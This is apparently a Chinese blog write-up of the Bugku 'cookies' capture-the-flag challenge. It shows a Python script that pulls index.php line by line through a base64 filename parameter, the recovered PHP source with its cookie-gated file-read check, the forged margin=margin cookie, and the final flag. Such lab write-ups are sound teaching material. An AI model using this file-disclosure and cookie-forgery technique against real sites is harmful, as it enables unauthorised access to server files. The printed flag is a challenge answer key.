bugku cookies

题目提示: cookies欺骗

打开后只有这样一串,我截取了一部分,看源码也只是有这个

rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaih

什么没有观察一下url

http://114.67.175.224:12347/index.php?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=像base64编码

去解码

好的,是keys.txt

既然是这样,那岂不是可以尝试一下flag.txt

falg.txt的base64编码 :ZmFsZy50eHQ= 

没用。。。

再试一下flag.php

falg.php的base64编码 :ZmxhZy5waHA=

也没有!!

找了一个脚本跑index.php

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

s = requests.Session()
url = 'http://114.67.175.224:12347/index.php'
for i in range(1, 20):
    payload = {'line': str(i), 'filename': 'aW5kZXgucGhw'}
    a = s.get(url, params=payload).content
    content = str(a, encoding="utf-8")
    print(content)

直接跑出了源码

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

分析了一下源码发现其中有一个判断语句很关键

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';

这行代码实际上是用来检查用户是否拥有名为 “margin” 的 cookie,并且其值为 “margin”。如果用户的cookie中包含名为 “margin” 的 cookie,并且其值为 “margin”,那么会将 $file_list 数组中索引为 2 的元素设置为 ‘keys.php’。

这意味着只有当用户具有指定的cookie时,才会将 ‘keys.php’ 添加到 $file_list 数组中。在之后的文件读取操作中,如果用户请求的文件在 $file_list 中,且用户具有特定的cookie,就可以读取 ‘keys.php’ 文件的内容。

构造cookie margin=margin 然后读keys.php即可

(但是我的hackbar用不了了。。maxbackbar 没找到可以修改cookie值的地方,只能bp抓包)

bugku cookies_第1张图片

flag

flag{62dec6a231582dccc9e5cd18109c4a99}

你可能感兴趣的:(php)